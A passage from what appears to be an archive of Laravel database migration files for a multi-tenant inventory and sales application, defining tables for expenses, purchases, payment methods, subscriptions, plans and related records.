$table->unsignedBigInteger('user_id')->nullable()->after('details'); $table->foreign('user_id')->references('id') ->on('users') ->onUpdate('cascade') ->onDelete('set null'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('expenses', function (Blueprint $table) { $table->dropForeign(['user_id']); $table->dropColumn('user_id'); }); } }; migrations/2022_03_09_105321_create_expenses_table.php 0000644 00000002252 15213354166 0016056 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('expenses', function (Blueprint $table) { $table->id(); $table->date('date'); $table->unsignedBigInteger('warehouse_id'); $table->foreign('warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('expense_category_id'); $table->foreign('expense_category_id')->references('id') ->on('expense_categories') ->onUpdate('cascade') ->onDelete('cascade'); $table->double('amount'); $table->string('reference_code')->nullable(); $table->text('details')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('expenses'); } }; migrations/2025_04_21_091958_add_data_column_to_subscriptions_table.php 0000644 00000001154 15213354166 0021512 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('subscriptions', function (Blueprint $table) { $table->text('data')->nullable()->after('is_paid'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('subscriptions', function (Blueprint $table) { $table->dropColumn('data'); }); } }; migrations/2022_12_22_000000_add_expires_at_to_personal_access_tokens_table.php 0000644 00000001224 15213354166 0023142 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('personal_access_tokens', function (Blueprint $table) { $table->timestamp('expires_at')->nullable()->after('last_used_at'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('personal_access_tokens', function (Blueprint $table) { $table->dropColumn('expires_at'); }); } }; migrations/2025_07_09_092822_add_payment_type_foreign_keys_to_multiple_tables.php 0000644 00000003035 15213354166 0023615 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Schema; return new class extends Migration { protected array $tables = [ 'sales', 'purchases', 'sales_return', 'purchases_return', 'sales_payments', ]; /** * Run the migrations. */ public function up(): void { $validPaymentMethodIds = DB::table('payment_methods')->pluck('id')->toArray(); foreach ($this->tables as $tableName) { DB::table($tableName) ->whereNotNull('payment_type') ->whereNotIn('payment_type', $validPaymentMethodIds) ->update(['payment_type' => null]); Schema::table($tableName, function (Blueprint $table) use ($tableName) { $table->unsignedBigInteger('payment_type')->nullable()->change(); $table->foreign('payment_type', "{$tableName}_payment_type_foreign") ->references('id') ->on('payment_methods') ->onUpdate('cascade') ->onDelete('set null'); }); } } /** * Reverse the migrations. */ public function down(): void { foreach ($this->tables as $tableName) { Schema::table($tableName, function (Blueprint $table) use ($tableName) { $table->dropForeign("{$tableName}_payment_type_foreign"); }); } } }; migrations/2025_07_09_091831_create_payment_methods_table.php 0000644 00000011470 15213354166 0017447 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('payment_methods', function (Blueprint $table) { $table->id(); $table->string('tenant_id'); $table->string('name'); $table->boolean('status')->default(true); $table->timestamps(); $table->foreign('tenant_id')->references('id')->on('tenants')->onUpdate('cascade')->onDelete('cascade'); }); $tenants = DB::table('tenants')->select('id')->get(); foreach ($tenants as $tenant) { $cashId = DB::table('payment_methods')->insertGetId([ 'tenant_id' => $tenant->id, 'name' => 'Cash', 'status' => true, 'created_at' => now(), 'updated_at' => now(), ]); $chequeId = DB::table('payment_methods')->insertGetId([ 'tenant_id' => $tenant->id, 'name' => 'Cheque', 'status' => true, 'created_at' => now(), 'updated_at' => now(), ]); $bankTransferId = DB::table('payment_methods')->insertGetId([ 'tenant_id' => $tenant->id, 'name' => 'Bank Transfer', 'status' => true, 'created_at' => now(), 'updated_at' => now(), ]); $otherId = DB::table('payment_methods')->insertGetId([ 'tenant_id' => $tenant->id, 'name' => 'Other', 'status' => true, 'created_at' => now(), 'updated_at' => now(), ]); // Update existing sales records for this tenant // Map old payment_type values to new payment_method IDs DB::table('sales') ->where('tenant_id', $tenant->id) ->where('payment_type', 1) // Old Cash ->update(['payment_type' => $cashId]); DB::table('sales') ->where('tenant_id', $tenant->id) ->where('payment_type', 2) // Old Cheque ->update(['payment_type' => $chequeId]); DB::table('sales') ->where('tenant_id', $tenant->id) ->where('payment_type', 3) // Old Bank Transfer ->update(['payment_type' => $bankTransferId]); DB::table('sales') ->where('tenant_id', $tenant->id) ->where('payment_type', 4) // Old Other ->update(['payment_type' => $otherId]); // Update existing sales_payments records for this tenant DB::table('sales_payments') ->where('payment_type', 1) // Old Cash ->whereExists(function ($query) use ($tenant) { $query->select(DB::raw(1)) ->from('sales') ->whereColumn('sales.id', 'sales_payments.sale_id') ->where('sales.tenant_id', $tenant->id); }) ->update(['payment_type' => $cashId]); DB::table('sales_payments') ->where('payment_type', 2) // Old Cheque ->whereExists(function ($query) use ($tenant) { $query->select(DB::raw(1)) ->from('sales') ->whereColumn('sales.id', 'sales_payments.sale_id') ->where('sales.tenant_id', $tenant->id); }) ->update(['payment_type' => $chequeId]); DB::table('sales_payments') ->where('payment_type', 3) // Old Bank Transfer ->whereExists(function ($query) use ($tenant) { $query->select(DB::raw(1)) ->from('sales') ->whereColumn('sales.id', 'sales_payments.sale_id') ->where('sales.tenant_id', $tenant->id); }) ->update(['payment_type' => $bankTransferId]); DB::table('sales_payments') ->where('payment_type', 4) // Old Other ->whereExists(function ($query) use ($tenant) { $query->select(DB::raw(1)) ->from('sales') ->whereColumn('sales.id', 'sales_payments.sale_id') ->where('sales.tenant_id', $tenant->id); }) ->update(['payment_type' => $otherId]); } } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('payment_methods'); } }; migrations/2023_11_21_123327_create_variations_table.php 0000644 00000001433 15213354166 0016403 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('variations', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('name'); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('variations'); } }; migrations/2025_04_01_124244_create_steps_table.php 0000644 00000001222 15213354166 0015357 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('steps', function (Blueprint $table) { $table->id(); $table->string('sub_title'); $table->string('title'); $table->text('description')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('steps'); } }; migrations/2025_01_13_072018_create_subscriptions_table.php 0000644 00000003326 15213354166 0017140 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('subscriptions', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedBigInteger('user_id'); $table->unsignedBigInteger('plan_id')->nullable(); $table->unsignedBigInteger('transaction_id')->nullable(); $table->integer('payment_type')->nullable(); $table->double('plan_amount')->default(0); $table->double('payable_amount')->default(0); $table->integer('plan_frequency')->default(1)->comment('1 = Weekly, 2 = Monthly, 3 = Yearly, 4 = Unlimited'); $table->dateTime('start_date'); $table->dateTime('end_date'); $table->dateTime('trial_ends_at')->nullable(); $table->boolean('status')->default(2)->comment('0 = Inactive, 1 = Active, 2 = Pending, 3 = Rejected'); $table->timestamps(); $table->foreign('user_id')->references('id')->on('users') ->onUpdate('CASCADE') ->onDelete('CASCADE'); $table->foreign('plan_id')->references('id')->on('plans') ->onUpdate('CASCADE') ->onDelete('CASCADE'); $table->foreign('transaction_id')->references('id')->on('transactions') ->onUpdate('CASCADE') ->onDelete('CASCADE'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('subscriptions'); } }; migrations/2025_04_15_051602_add_no_of_stores_to_plans_table.php 0000644 00000001163 15213354166 0020112 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('plans', function (Blueprint $table) { $table->integer('no_of_stores')->default(1)->after('currency_id'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('plans', function (Blueprint $table) { $table->dropColumn('no_of_stores'); }); } }; migrations/2025_07_09_040018_add_status_to_languages_table.php 0000644 00000001161 15213354166 0017572 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('languages', function (Blueprint $table) { $table->boolean('status')->default(true)->after('is_default'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('languages', function (Blueprint $table) { $table->dropColumn('status'); }); } }; migrations/2023_12_21_065548_add_product_code_field_in_products_table.php 0000644 00000001145 15213354166 0021752 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('products', function (Blueprint $table) { $table->string('product_code')->after('code'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('products', function (Blueprint $table) { $table->dropColumn('product_code'); }); } }; migrations/2025_12_22_130803_add_two_factor_auth_fields_to_users_table.php 0000644 00000001443 15213354166 0022154 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('users', function (Blueprint $table) { $table->string('two_factor_secret')->nullable(); $table->string('two_factor_recovery_codes')->nullable(); $table->boolean('two_factor_enabled')->default(false); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { $table->dropColumn(['two_factor_secret', 'two_factor_recovery_codes', 'two_factor_enabled']); }); } }; migrations/2025_03_10_110044_create_why_choose_us_table.php 0000644 00000001171 15213354166 0017072 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('why_choose_us', function (Blueprint $table) { $table->id(); $table->string('title'); $table->text('description')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('why_choose_us'); } }; migrations/2025_03_10_073004_create_services_table.php 0000644 00000001157 15213354166 0016047 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('services', function (Blueprint $table) { $table->id(); $table->string('title'); $table->text('description')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('services'); } }; migrations/2025_04_16_051055_create_user_stores_table.php 0000644 00000001715 15213354166 0016612 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('user_stores', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('user_id'); $table->unsignedBigInteger('store_id'); $table->timestamps(); $table->foreign('user_id') ->references('id')->on('users') ->onUpdate('cascade') ->onDelete('cascade'); $table->foreign('store_id') ->references('id')->on('stores') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('user_stores'); } }; migrations/2023_12_29_064841_add_main_product_id_field_in_products_table.php 0000644 00000001443 15213354166 0022444 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('products', function (Blueprint $table) { $table->unsignedBigInteger('main_product_id')->nullable()->after('id'); $table->foreign('main_product_id')->references('id')->on('main_products')->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('products', function (Blueprint $table) { $table->dropForeign(['main_product_id']); $table->dropColumn('main_product_id'); }); } }; migrations/2022_07_12_102722_add_new_filed_to_manage_stocks_table.php 0000644 00000001111 15213354166 0021036 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('manage_stocks', function (Blueprint $table) { $table->boolean('alert')->default(false); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('manage_stocks', function (Blueprint $table) { // }); } }; migrations/2023_07_07_083655_create_coupon_product_table.php 0000644 00000001337 15213354166 0017314 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('coupon_product', function (Blueprint $table) { $table->foreignId('coupon_code_id')->references('id')->on('coupon_codes')->onUpdate('cascade')->onDelete('cascade'); $table->foreignId('product_id')->references('id')->on('products')->onUpdate('cascade')->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('coupon_product'); } }; migrations/2022_05_13_111052_add_title_field_in_expenses.php 0000644 00000001124 15213354166 0017216 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('expenses', function (Blueprint $table) { $table->string('title')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('expenses', function (Blueprint $table) { $table->dropColumn('title'); }); } }; migrations/2022_08_05_110241_create_adjustment_items_table.php 0000644 00000002116 15213354166 0017600 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('adjustment_items', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('adjustment_id'); $table->foreign('adjustment_id') ->references('id')->on('adjustments') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('product_id'); $table->foreign('product_id')->references('id') ->on('products') ->onDelete('cascade') ->onUpdate('cascade'); $table->double('quantity')->nullable(); $table->integer('method_type'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('adjustment_items'); } }; migrations/2019_08_19_000000_create_failed_jobs_table.php 0000644 00000001400 15213354166 0016457 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('failed_jobs', function (Blueprint $table) { $table->id(); $table->string('uuid')->unique(); $table->text('connection'); $table->text('queue'); $table->longText('payload'); $table->longText('exception'); $table->timestamp('failed_at')->useCurrent(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('failed_jobs'); } }; migrations/2022_06_01_100610_create_manage_stocks_table.php 0000644 00000002015 15213354166 0017026 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('manage_stocks', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('warehouse_id'); $table->unsignedBigInteger('product_id'); $table->foreign('warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); $table->foreign('product_id')->references('id') ->on('products') ->onUpdate('cascade') ->onDelete('cascade'); $table->double('quantity'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('manage_stocks'); } }; migrations/2022_03_14_101110_create_purchases_table.php 0000644 00000003122 15213354166 0016202 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('purchases', function (Blueprint $table) { $table->id(); $table->date('date'); $table->unsignedBigInteger('supplier_id'); $table->foreign('supplier_id')->references('id') ->on('suppliers') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('warehouse_id'); $table->foreign('warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); $table->double('tax_rate')->nullable(); $table->double('tax_amount')->nullable(); $table->double('discount')->nullable(); $table->double('shipping')->nullable(); $table->double('grand_total')->nullable(); $table->double('received_amount')->nullable(); $table->double('paid_amount')->nullable(); $table->integer('payment_type')->nullable(); $table->integer('status')->nullable(); $table->text('notes')->nullable(); $table->string('reference_code')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('purchases'); } }; migrations/2022_03_16_050519_change_description_filed_type_expense_category_table.php 0000644 00000001200 15213354166 0024357 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('expense_categories', function (Blueprint $table) { $table->text('description')->nullable()->change(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('expense_categories', function (Blueprint $table) { $table->text('description')->change(); }); } }; migrations/2024_01_12_093843_move_product_images_to_main_product.php 0000644 00000001673 15213354166 0021052 0 ustar 00 <?php use App\Models\MainProduct; use App\Models\Product; use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { $products = Product::all(); foreach ($products as $product) { $medias = $product->getMedia(Product::PATH); $mainProduct = MainProduct::where('code', $product->product_code)->first(); if ($medias->count() > 0) { foreach ($medias as $mediaItem) { $mediaItem->copy($mainProduct, MainProduct::PATH, config('app.media_disc')); } } } } /** * Reverse the migrations. */ public function down(): void { Schema::table('main_product', function (Blueprint $table) { // }); } }; migrations/2022_05_24_050431_create_purchases_return_items_table.php 0000644 00000003110 15213354166 0021013 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('purchases_return_items', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('purchase_return_id'); $table->foreign('purchase_return_id') ->references('id')->on('purchases_return') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('product_id'); $table->foreign('product_id')->references('id') ->on('products') ->onDelete('cascade') ->onUpdate('cascade'); $table->double('product_cost')->nullable(); $table->double('net_unit_cost')->nullable(); $table->integer('tax_type'); $table->double('tax_value')->nullable(); $table->double('tax_amount')->nullable(); $table->integer('discount_type'); $table->double('discount_value')->nullable(); $table->double('discount_amount')->nullable(); $table->integer('purchase_unit'); $table->double('quantity')->nullable(); $table->double('sub_total')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('purchases_return_items'); } }; migrations/2022_03_02_125151_create_warehouse_table.php 0000644 00000001760 15213354166 0016225 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('warehouses', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('name'); $table->string('phone'); $table->string('country'); $table->string('city'); $table->string('email')->nullable(); $table->string('zip_code')->nullable(); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('warehouses'); } }; migrations/2025_05_09_105332_create_taxes_table.php 0000644 00000001576 15213354166 0015367 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('taxes', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('name'); $table->string('number'); $table->boolean('status')->default(true); $table->timestamps(); $table->foreign('tenant_id') ->references('id') ->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('taxes'); } }; migrations/2022_10_17_062353_add_sold_quantity_field_to_sale_return_items_table.php 0000644 00000001147 15213354166 0024067 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('sale_return_items', function (Blueprint $table) { $table->double('sold_quantity')->nullable()->after('quantity'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('sale_return_items', function (Blueprint $table) { // }); } }; migrations/2025_03_10_111322_create_testimonials_table.php 0000644 00000001166 15213354166 0016733 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('testimonials', function (Blueprint $table) { $table->id(); $table->string('name'); $table->text('description')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('testimonials'); } }; migrations/2024_09_27_052402_add_warehouse_id_in_hold_items_table.php 0000644 00000001127 15213354166 0021075 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('hold_items', function (Blueprint $table) { $table->unsignedBigInteger('warehouse_id')->nullable()->after('product_id'); }); } public function down(): void { Schema::table('hold_items', function (Blueprint $table) { $table->dropColumn('warehouse_id'); }); } }; migrations/2025_03_24_040730_modify_value_nullable_in_settings_table.php 0000644 00000001161 15213354166 0021650 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('settings', function (Blueprint $table) { $table->text('value')->nullable()->change(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('settings', function (Blueprint $table) { $table->text('value')->nullable(false)->change(); }); } }; migrations/2025_01_10_064051_create_plans_table.php 0000644 00000002036 15213354166 0015336 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('plans', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('currency_id'); $table->string('name'); $table->double('price'); $table->integer('frequency')->default(1)->comment('1 = Weekly, 2 = Monthly, 3 = Yearly, 4 = Unlimited'); $table->boolean('assign_while_register')->default(false); $table->integer('trial_days')->nullable(); $table->timestamps(); $table->foreign('currency_id')->references('id')->on('currencies') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('plans'); } }; migrations/2022_03_09_095426_create_expense_categories_table.php 0000644 00000001524 15213354166 0020117 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('expense_categories', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('name'); $table->text('description'); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('expense_categories'); } }; migrations/2025_01_10_095807_create_sadmin_settings_table.php 0000644 00000001165 15213354166 0017433 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('sadmin_settings', function (Blueprint $table) { $table->id(); $table->string('key'); $table->text('value')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('sadmin_settings'); } }; migrations/2025_07_17_101815_add_new_column_discount_type_to_sales_table.php 0000644 00000001367 15213354166 0022541 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('sales', function (Blueprint $table) { $table->integer('discount_type')->nullable()->after('discount'); $table->integer('discount_value')->nullable()->after('discount_type'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('sales', function (Blueprint $table) { $table->dropColumn('discount_type'); $table->dropColumn('discount_value'); }); } }; migrations/2022_03_04_112848_create_customer_table.php 0000644 00000001723 15213354166 0016076 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('customers', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('name'); $table->string('email'); $table->string('phone'); $table->string('country'); $table->string('city'); $table->text('address'); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('customers'); } }; migrations/2019_09_15_000020_create_domains_table.php 0000644 00000001512 15213354166 0015653 0 ustar 00 <?php declare(strict_types=1); use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateDomainsTable extends Migration { /** * Run the migrations. * * @return void */ public function up(): void { Schema::create('domains', function (Blueprint $table) { $table->increments('id'); $table->string('domain', 255)->unique(); $table->string('tenant_id'); $table->timestamps(); $table->foreign('tenant_id')->references('id')->on('tenants')->onUpdate('cascade')->onDelete('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down(): void { Schema::dropIfExists('domains'); } } migrations/2022_10_03_095418_create_sms_settings_table.php 0000644 00000001501 15213354166 0016751 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('sms_settings', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('key'); $table->text('value'); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('sms_settings'); } }; migrations/2025_03_10_085031_create_partners_table.php 0000644 00000001071 15213354166 0016060 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('partners', function (Blueprint $table) { $table->id(); $table->string('name'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('partners'); } }; migrations/2022_03_02_042109_create_currencies_table.php 0000644 00000001221 15213354166 0016356 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('currencies', function (Blueprint $table) { $table->id(); $table->string('name')->unique(); $table->string('code'); $table->string('symbol'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('currencies'); } }; migrations/2022_08_04_114100_add_received_amount_field_to_sales_payments_table.php 0000644 00000001141 15213354166 0023625 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('sales_payments', function (Blueprint $table) { $table->double('received_amount')->nullable()->after('amount'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('sales_payments', function (Blueprint $table) { // }); } }; migrations/2025_03_06_041531_remove_stock_transfer_from_plan_features.php 0000644 00000001165 15213354166 0022075 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('plan_features', function (Blueprint $table) { $table->dropColumn('stock_transfer'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('plan_features', function (Blueprint $table) { $table->boolean('stock_transfer')->default(false); }); } }; migrations/2023_01_09_112217_change_datatype_base_unit_field_to_units_table.php 0000644 00000001072 15213354166 0023141 0 ustar 00 <?php use 